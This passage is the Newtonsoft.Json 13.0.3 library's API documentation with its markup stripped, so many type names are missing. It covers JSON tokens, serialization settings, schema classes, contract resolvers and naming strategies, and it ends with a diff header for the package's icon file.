write. - - - - Writes a value. - - The value to write. - - - - Represents a value in JSON (string, integer, date, etc). - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Creates a comment with the given value. - - The value. - A comment with the given value. - - - - Creates a string with the given value. - - The value. - A string with the given value. - - - - Creates a null value. - - A null value. - - - - Creates a undefined value. - - A undefined value. - - - - Gets the node type for this . - - The type. - - - - Gets or sets the underlying token value. - - The underlying token value. - - - - Writes this token to a . - - A into which this method will write. - A collection of s which will be used when writing the token. - - - - Indicates whether the current object is equal to another object of the same type. - - - true if the current object is equal to the parameter; otherwise, false. - - An object to compare with this object. - - - - Determines whether the specified is equal to the current . - - The to compare with the current . - - true if the specified is equal to the current ; otherwise, false. - - - - - Serves as a hash function for a particular type. - - - A hash code for the current . - - - - - Returns a that represents this instance. - - - ToString() returns a non-JSON string value for tokens with a type of . - If you want the JSON for all token types then you should use . - - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format. - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format provider. - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format. - The format provider. - - A that represents this instance. - - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. - - An object to compare with this instance. - - A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: - Value - Meaning - Less than zero - This instance is less than . - Zero - This instance is equal to . - Greater than zero - This instance is greater than . - - - is not of the same type as this instance. - - - - - Specifies how line information is handled when loading JSON. - - - - - Ignore line information. - - - - - Load line information. - - - - - Specifies how JSON arrays are merged together. - - - - Concatenate arrays. - - - Union arrays, skipping items that already exist. - - - Replace all array items. - - - Merge array items together, matched by index. - - - - Specifies how null value properties are merged. - - - - - The content's null value properties will be ignored during merging. - - - - - The content's null value properties will be merged. - - - - - Specifies the member serialization options for the . - - - - - All public members are serialized by default. Members can be excluded using or . - This is the default member serialization mode. - - - - - Only members marked with or are serialized. - This member serialization mode can also be set by marking the class with . - - - - - All public and private fields are serialized. Members can be excluded using or . - This member serialization mode can also be set by marking the class with - and setting IgnoreSerializableAttribute on to false. - - - - - Specifies metadata property handling options for the . - - - - - Read metadata properties located at the start of a JSON object. - - - - - Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. - - - - - Do not try to read metadata properties. - - - - - Specifies missing member handling options for the . - - - - - Ignore a missing member and do not attempt to deserialize it. - - - - - Throw a when a missing member is encountered during deserialization. - - - - - Specifies null value handling options for the . - - - - - - - - - Include null values when serializing and deserializing objects. - - - - - Ignore null values when serializing and deserializing objects. - - - - - Specifies how object creation is handled by the . - - - - - Reuse existing objects, create new objects when needed. - - - - - Only reuse existing objects. - - - - - Always create new objects. - - - - - Specifies reference handling options for the . - Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . - - - - - - - - Do not preserve references when serializing types. - - - - - Preserve references when serializing into a JSON object structure. - - - - - Preserve references when serializing into a JSON array structure. - - - - - Preserve references when serializing. - - - - - Specifies reference loop handling options for the . - - - - - Throw a when a loop is encountered. - - - - - Ignore loop references and do not serialize. - - - - - Serialize loop references. - - - - - Indicating whether a property is required. - - - - - The property is not required. The default state. - - - - - The property must be defined in JSON but can be a null value. - - - - - The property must be defined in JSON and cannot be a null value. - - - - - The property is not required but it cannot be a null value. - - - - - - Contains the JSON schema extension methods. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - - Determines whether the is valid. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - - true if the specified is valid; otherwise, false. - - - - - - Determines whether the is valid. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - When this method returns, contains any error messages generated while validating. - - true if the specified is valid; otherwise, false. - - - - - - Validates the specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - - - - - Validates the specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - The validation event handler. - - - - - An in-memory representation of a JSON Schema. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets the id. - - - - - Gets or sets the title. - - - - - Gets or sets whether the object is required. - - - - - Gets or sets whether the object is read-only. - - - - - Gets or sets whether the object is visible to users. - - - - - Gets or sets whether the object is transient. - - - - - Gets or sets the description of the object. - - - - - Gets or sets the types of values allowed by the object. - - The type. - - - - Gets or sets the pattern. - - The pattern. - - - - Gets or sets the minimum length. - - The minimum length. - - - - Gets or sets the maximum length. - - The maximum length. - - - - Gets or sets a number that the value should be divisible by. - - A number that the value should be divisible by. - - - - Gets or sets the minimum. - - The minimum. - - - - Gets or sets the maximum. - - The maximum. - - - - Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). - - A flag indicating whether the value can not equal the number defined by the minimum attribute (). - - - - Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). - - A flag indicating whether the value can not equal the number defined by the maximum attribute (). - - - - Gets or sets the minimum number of items. - - The minimum number of items. - - - - Gets or sets the maximum number of items. - - The maximum number of items. - - - - Gets or sets the of items. - - The of items. - - - - Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . - - - true if items are validated using their array position; otherwise, false. - - - - - Gets or sets the of additional items. - - The of additional items. - - - - Gets or sets a value indicating whether additional items are allowed. - - - true if additional items are allowed; otherwise, false. - - - - - Gets or sets whether the array items must be unique. - - - - - Gets or sets the of properties. - - The of properties. - - - - Gets or sets the of additional properties. - - The of additional properties. - - - - Gets or sets the pattern properties. - - The pattern properties. - - - - Gets or sets a value indicating whether additional properties are allowed. - - - true if additional properties are allowed; otherwise, false. - - - - - Gets or sets the required property if this property is present. - - The required property if this property is present. - - - - Gets or sets the a collection of valid enum values allowed. - - A collection of valid enum values allowed. - - - - Gets or sets disallowed types. - - The disallowed types. - - - - Gets or sets the default value. - - The default value. - - - - Gets or sets the collection of that this schema extends. - - The collection of that this schema extends. - - - - Gets or sets the format. - - The format. - - - - Initializes a new instance of the class. - - - - - Reads a from the specified . - - The containing the JSON Schema to read. - The object representing the JSON Schema. - - - - Reads a from the specified . - - The containing the JSON Schema to read. - The to use when resolving schema references. - The object representing the JSON Schema. - - - - Load a from a string that contains JSON Schema. - - A that contains JSON Schema. - A populated from the string that contains JSON Schema. - - - - Load a from a string that contains JSON Schema using the specified . - - A that contains JSON Schema. - The resolver. - A populated from the string that contains JSON Schema. - - - - Writes this schema to a . - - A into which this method will write. - - - - Writes this schema to a using the specified . - - A into which this method will write. - The resolver used. - - - - Returns a that represents the current . - - - A that represents the current . - - - - - - Returns detailed information about the schema exception. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - - Generates a from a specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets how undefined schemas are handled by the serializer. - - - - - Gets or sets the contract resolver. - - The contract resolver. - - - - Generate a from the specified type. - - The type to generate a from. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - The used to resolve schema references. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - Specify whether the generated root will be nullable. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - The used to resolve schema references. - Specify whether the generated root will be nullable. - A generated from the specified type. - - - - - Resolves from an id. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets the loaded schemas. - - The loaded schemas. - - - - Initializes a new instance of the class. - - - - - Gets a for the specified reference. - - The id. - A for the specified reference. - - - - - The value types allowed by the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - No type specified. - - - - - String type. - - - - - Float type. - - - - - Integer type. - - - - - Boolean type. - - - - - Object type. - - - - - Array type. - - - - - Null type. - - - - - Any type. - - - - - - Specifies undefined schema Id handling options for the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Do not infer a schema Id. - - - - - Use the .NET type name as the schema Id. - - - - - Use the assembly qualified .NET type name as the schema Id. - - - - - - Returns detailed information related to the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets the associated with the validation error. - - The JsonSchemaException associated with the validation error. - - - - Gets the path of the JSON location where the validation error occurred. - - The path of the JSON location where the validation error occurred. - - - - Gets the text description corresponding to the validation error. - - The text description. - - - - - Represents the callback method that will handle JSON schema validation events and the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - A camel case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Resolves member mappings for a type, camel casing property names. - - - - - Initializes a new instance of the class. - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Used by to resolve a for a given . - - - - - Gets a value indicating whether members are being get and set using dynamic code generation. - This value is determined by the runtime permissions available. - - - true if using dynamic code generation; otherwise, false. - - - - - Gets or sets the default members search flags. - - The default members search flags. - - - - Gets or sets a value indicating whether compiler generated members should be serialized. - - - true if serialized compiler generated members; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. - - - true if the interface will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. - - - true if the attribute will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. - - - true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. - - - true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. - - The naming strategy used to resolve how property names and dictionary keys are serialized. - - - - Initializes a new instance of the class. - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Gets the serializable members for the type. - - The type to get serializable members for. - The serializable members for the type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates the constructor parameters. - - The constructor to create properties for. - The type's member properties. - Properties for the given . - - - - Creates a for the given . - - The matching member property. - The constructor parameter. - A created for the given . - - - - Resolves the default for the contract. - - Type of the object. - The contract's default . - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Determines which contract type is created for the given type. - - Type of the object. - A for the given type. - - - - Creates properties for the given . - - The type to create properties for. - /// The member serialization mode for the type. - Properties for the given . - - - - Creates the used by the serializer to get and set values from a member. - - The member. - The used by the serializer to get and set values from a member. - - - - Creates a for the given . - - The member's parent . - The member to create a for. - A created for the given . - - - - Resolves the name of the property. - - Name of the property. - Resolved name of the property. - - - - Resolves the name of the extension data. By default no changes are made to extension data names. - - Name of the extension data. - Resolved name of the extension data. - - - - Resolves the key of the dictionary. By default is used to resolve dictionary keys. - - Key of the dictionary. - Resolved key of the dictionary. - - - - Gets the resolved name of the property. - - Name of the property. - Name of the property. - - - - The default naming strategy. Property names and dictionary keys are unchanged. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - The default serialization binder used when resolving and loading classes from type names. - - - - - Initializes a new instance of the class. - - - - - When overridden in a derived class, controls the binding of a serialized object to a type. - - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - The type of the object the formatter creates a new instance of. - - - - - When overridden in a derived class, controls the binding of a serialized object to a type. - - The type of the object the formatter creates a new instance of. - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - - - Represents a trace writer that writes to the application's instances. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - - The that will be used to filter the trace messages passed to the writer. - - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Provides information surrounding an error. - - - - - Gets the error. - - The error. - - - - Gets the original object that caused the error. - - The original object that caused the error. - - - - Gets the member that caused the error. - - The member that caused the error. - - - - Gets the path of the JSON location where the error occurred. - - The path of the JSON location where the error occurred. - - - - Gets or sets a value indicating whether this is handled. - - true if handled; otherwise, false. - - - - Provides data for the Error event. - - - - - Gets the current object the error event is being raised against. - - The current object the error event is being raised against. - - - - Gets the error context. - - The error context. - - - - Initializes a new instance of the class. - - The current object. - The error context. - - - - Get and set values for a using dynamic methods. - - - - - Initializes a new instance of the class. - - The member info. - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - Provides methods to get attributes. - - - - - Returns a collection of all of the attributes, or an empty collection if there are no attributes. - - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. - - The type of the attributes. - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Used by to resolve a for a given . - - - - - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Used to resolve references when serializing and deserializing JSON by the . - - - - - Resolves a reference to its object. - - The serialization context. - The reference to resolve. - The object that was resolved from the reference. - - - - Gets the reference for the specified object. - - The serialization context. - The object to get a reference for. - The reference to the object. - - - - Determines whether the specified object is referenced. - - The serialization context. - The object to test for a reference. - - true if the specified object is referenced; otherwise, false. - - - - - Adds a reference to the specified object. - - The serialization context. - The reference. - The object to reference. - - - - Allows users to control class loading and mandate what class to load. - - - - - When implemented, controls the binding of a serialized object to a type. - - Specifies the name of the serialized object. - Specifies the name of the serialized object - The type of the object the formatter creates a new instance of. - - - - When implemented, controls the binding of a serialized object to a type. - - The type of the object the formatter creates a new instance of. - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - - - Represents a trace writer. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - The that will be used to filter the trace messages passed to the writer. - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Provides methods to get and set values. - - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - Contract details for a used by the . - - - - - Gets the of the collection items. - - The of the collection items. - - - - Gets a value indicating whether the collection type is a multidimensional array. - - true if the collection type is a multidimensional array; otherwise, false. - - - - Gets or sets the function used to create the object. When set this function will override . - - The function used to create the object. - - - - Gets a value indicating whether the creator has a parameter with the collection values. - - true if the creator has a parameter with the collection values; otherwise, false. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the default collection items . - - The converter. - - - - Gets or sets a value indicating whether the collection items preserve object references. - - true if collection items preserve object references; otherwise, false. - - - - Gets or sets the collection item reference loop handling. - - The reference loop handling. - - - - Gets or sets the collection item type name handling. - - The type name handling. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Handles serialization callback events. - - The object that raised the callback event. - The streaming context. - - - - Handles serialization error callback events. - - The object that raised the callback event. - The streaming context. - The error context. - - - - Sets extension data for an object during deserialization. - - The object to set extension data on. - The extension data key. - The extension data value. - - - - Gets extension data for an object during serialization. - - The object to set extension data on. - - - - Contract details for a used by the . - - - - - Gets the underlying type for the contract. - - The underlying type for the contract. - - - - Gets or sets the type created during deserialization. - - The type created during deserialization. - - - - Gets or sets whether this type contract is serialized as a reference. - - Whether this type contract is serialized as a reference. - - - - Gets or sets the default for this contract. - - The converter. - - - - Gets the internally resolved for the contract's type. - This converter is used as a fallback converter when no other converter is resolved. - Setting will always override this converter. - - - - - Gets or sets all methods called immediately after deserialization of the object. - - The methods called immediately after deserialization of the object. - - - - Gets or sets all methods called during deserialization of the object. - - The methods called during deserialization of the object. - - - - Gets or sets all methods called after serialization of the object graph. - - The methods called after serialization of the object graph. - - - - Gets or sets all methods called before serialization of the object. - - The methods called before serialization of the object. - - - - Gets or sets all method called when an error is thrown during the serialization of the object. - - The methods called when an error is thrown during the serialization of the object. - - - - Gets or sets the default creator method used to create the object. - - The default creator method used to create the object. - - - - Gets or sets a value indicating whether the default creator is non-public. - - true if the default object creator is non-public; otherwise, false. - - - - Contract details for a used by the . - - - - - Gets or sets the dictionary key resolver. - - The dictionary key resolver. - - - - Gets the of the dictionary keys. - - The of the dictionary keys. - - - - Gets the of the dictionary values. - - The of the dictionary values. - - - - Gets or sets the function used to create the object. When set this function will override . - - The function used to create the object. - - - - Gets a value indicating whether the creator has a parameter with the dictionary values. - - true if the creator has a parameter with the dictionary values; otherwise, false. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets the object's properties. - - The object's properties. - - - - Gets or sets the property name resolver. - - The property name resolver. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the object constructor. - - The object constructor. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the object member serialization. - - The member object serialization. - - - - Gets or sets the missing member handling used when deserializing this object. - - The missing member handling. - - - - Gets or sets a value that indicates whether the object's properties are required. - - - A value indicating whether the object's properties are required. - - - - - Gets or sets how the object's properties with null values are handled during serialization and deserialization. - - How the object's properties with null values are handled during serialization and deserialization. - - - - Gets the object's properties. - - The object's properties. - - - - Gets a collection of instances that define the parameters used with . - - - - - Gets or sets the function used to create the object. When set this function will override . - This function is called with a collection of arguments which are defined by the collection. - - The function used to create the object. - - - - Gets or sets the extension data setter. - - - - - Gets or sets the extension data getter. - - - - - Gets or sets the extension data value type. - - - - - Gets or sets the extension data name resolver. - - The extension data name resolver. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Maps a JSON property to a .NET member or constructor parameter. - - - - - Gets or sets the name of the property. - - The name of the property. - - - - Gets or sets the type that declared this property. - - The type that declared this property. - - - - Gets or sets the order of serialization of a member. - - The numeric order of serialization. - - - - Gets or sets the name of the underlying member or parameter. - - The name of the underlying member or parameter. - - - - Gets the that will get and set the during serialization. - - The that will get and set the during serialization. - - - - Gets or sets the for this property. - - The for this property. - - - - Gets or sets the type of the property. - - The type of the property. - - - - Gets or sets the for the property. - If set this converter takes precedence over the contract converter for the property type. - - The converter. - - - - Gets or sets the member converter. - - The member converter. - - - - Gets or sets a value indicating whether this is ignored. - - true if ignored; otherwise, false. - - - - Gets or sets a value indicating whether this is readable. - - true if readable; otherwise, false. - - - - Gets or sets a value indicating whether this is writable. - - true if writable; otherwise, false. - - - - Gets or sets a value indicating whether this has a member attribute. - - true if has a member attribute; otherwise, false. - - - - Gets the default value. - - The default value. - - - - Gets or sets a value indicating whether this is required. - - A value indicating whether this is required. - - - - Gets a value indicating whether has a value specified. - - - - - Gets or sets a value indicating whether this property preserves object references. - - - true if this instance is reference; otherwise, false. - - - - - Gets or sets the property null value handling. - - The null value handling. - - - - Gets or sets the property default value handling. - - The default value handling. - - - - Gets or sets the property reference loop handling. - - The reference loop handling. - - - - Gets or sets the property object creation handling. - - The object creation handling. - - - - Gets or sets or sets the type name handling. - - The type name handling. - - - - Gets or sets a predicate used to determine whether the property should be serialized. - - A predicate used to determine whether the property should be serialized. - - - - Gets or sets a predicate used to determine whether the property should be deserialized. - - A predicate used to determine whether the property should be deserialized. - - - - Gets or sets a predicate used to determine whether the property should be serialized. - - A predicate used to determine whether the property should be serialized. - - - - Gets or sets an action used to set whether the property has been deserialized. - - An action used to set whether the property has been deserialized. - - - - Returns a that represents this instance. - - - A that represents this instance. - - - - - Gets or sets the converter used when serializing the property's collection items. - - The collection's items converter. - - - - Gets or sets whether this property's collection items are serialized as a reference. - - Whether this property's collection items are serialized as a reference. - - - - Gets or sets the type name handling used when serializing the property's collection items. - - The collection's items type name handling. - - - - Gets or sets the reference loop handling used when serializing the property's collection items. - - The collection's items reference loop handling. - - - - A collection of objects. - - - - - Initializes a new instance of the class. - - The type. - - - - When implemented in a derived class, extracts the key from the specified element. - - The element from which to extract the key. - The key for the specified element. - - - - Adds a object. - - The property to add to the collection. - - - - Gets the closest matching object. - First attempts to get an exact case match of and then - a case insensitive match. - - Name of the property. - A matching property if found. - - - - Gets a property by property name. - - The name of the property to get. - Type property name string comparison. - A matching property if found. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Lookup and create an instance of the type described by the argument. - - The type to create. - Optional arguments to pass to an initializing constructor of the JsonConverter. - If null, the default constructor is used. - - - - A kebab case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Represents a trace writer that writes to memory. When the trace message limit is - reached then old trace messages will be removed as new messages are added. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - - The that will be used to filter the trace messages passed to the writer. - - - - - Initializes a new instance of the class. - - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Returns an enumeration of the most recent trace messages. - - An enumeration of the most recent trace messages. - - - - Returns a of the most recent trace messages. - - - A of the most recent trace messages. - - - - - A base class for resolving how property names and dictionary keys are serialized. - - - - - A flag indicating whether dictionary keys should be processed. - Defaults to false. - - - - - A flag indicating whether extension data names should be processed. - Defaults to false. - - - - - A flag indicating whether explicitly specified property names, - e.g. a property name customized with a , should be processed. - Defaults to false. - - - - - Gets the serialized name for a given property name. - - The initial property name. - A flag indicating whether the property has had a name explicitly specified. - The serialized property name. - - - - Gets the serialized name for a given extension data name. - - The initial extension data name. - The serialized extension data name. - - - - Gets the serialized key for a given dictionary key. - - The initial dictionary key. - The serialized dictionary key. - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Hash code calculation - - - - - - Object equality implementation - - - - - - - Compare to another NamingStrategy - - - - - - - Represents a method that constructs an object. - - The object type to create. - - - - When applied to a method, specifies that the method is called when an error occurs serializing an object. - - - - - Provides methods to get attributes from a , , or . - - - - - Initializes a new instance of the class. - - The instance to get attributes for. This parameter should be a , , or . - - - - Returns a collection of all of the attributes, or an empty collection if there are no attributes. - - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. - - The type of the attributes. - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Get and set values for a using reflection. - - - - - Initializes a new instance of the class. - - The member info. - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - A snake case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Specifies how strings are escaped when writing JSON text. - - - - - Only control characters (e.g. newline) are escaped. - - - - - All non-ASCII and control characters (e.g. newline) are escaped. - - - - - HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. - - - - - Indicates the method that will be used during deserialization for locating and loading assemblies. - - - - - In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. - - - - - In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. - - - - - Specifies type name handling options for the . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - - - - Do not include the .NET type name when serializing types. - - - - - Include the .NET type name when serializing into a JSON object structure. - - - - - Include the .NET type name when serializing into a JSON array structure. - - - - - Always include the .NET type name when serializing. - - - - - Include the .NET type name when the type of the object being serialized is not the same as its declared type. - Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON - you must specify a root type object with - or . - - - - - Determines whether the collection is null or empty. - - The collection. - - true if the collection is null or empty; otherwise, false. - - - - - Adds the elements of the specified collection to the specified generic . - - The list to add to. - The collection of elements to add. - - - - Converts the value to the specified type. If the value is unable to be converted, the - value is checked whether it assignable to the specified type. - - The value to convert. - The culture to use when converting. - The type to convert or cast the value to. - - The converted type. If conversion was unsuccessful, the initial value - is returned if assignable to the target type. - - - - - Helper method for generating a MetaObject which calls a - specific method on Dynamic that returns a result - - - - - Helper method for generating a MetaObject which calls a - specific method on Dynamic, but uses one of the arguments for - the result. - - - - - Helper method for generating a MetaObject which calls a - specific method on Dynamic, but uses one of the arguments for - the result. - - - - - Returns a Restrictions object which includes our current restrictions merged - with a restriction limiting our type - - - - - Helper class for serializing immutable collections. - Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed - https://github.com/JamesNK/Newtonsoft.Json/issues/652 - - - - - Gets the type of the typed collection's items. - - The type. - The type of the typed collection's items. - - - - Gets the member's underlying type. - - The member. - The underlying type of the member. - - - - Determines whether the property is an indexed property. - - The property. - - true if the property is an indexed property; otherwise, false. - - - - - Gets the member's value on the object. - - The member. - The target object. - The member's value on the object. - - - - Sets the member's value on the target object. - - The member. - The target. - The value. - - - - Determines whether the specified MemberInfo can be read. - - The MemberInfo to determine whether can be read. - /// if set to true then allow the member to be gotten non-publicly. - - true if the specified MemberInfo can be read; otherwise, false. - - - - - Determines whether the specified MemberInfo can be set. - - The MemberInfo to determine whether can be set. - if set to true then allow the member to be set non-publicly. - if set to true then allow the member to be set if read-only. - - true if the specified MemberInfo can be set; otherwise, false. - - - - - Builds a string. Unlike this class lets you reuse its internal buffer. - - - - - Determines whether the string is all white space. Empty string will return false. - - The string to test whether it is all white space. - - true if the string is all white space; otherwise, false. - - - - - Specifies the state of the . - - - - - An exception has been thrown, which has left the in an invalid state. - You may call the method to put the in the Closed state. - Any other method calls result in an being thrown. - - - - - The method has been called. - - - - - An object is being written. - - - - - An array is being written. - - - - - A constructor is being written. - - - - - A property is being written. - - - - - A write method has not been called. - - - - Specifies that an output will not be null even if the corresponding type allows it. - - - Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. - - - Initializes the attribute with the specified return value condition. - - The return value condition. If the method returns this value, the associated parameter will not be null. - - - - Gets the return value condition. - - - Specifies that an output may be null even if the corresponding type disallows it. - - - Specifies that null is allowed as an input even if the corresponding type disallows it. - - - - Specifies that the method will not return if the associated Boolean parameter is passed the specified value. - - - - - Initializes a new instance of the class. - - - The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to - the associated parameter matches this value. - - - - Gets the condition parameter value. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/packageIcon.png 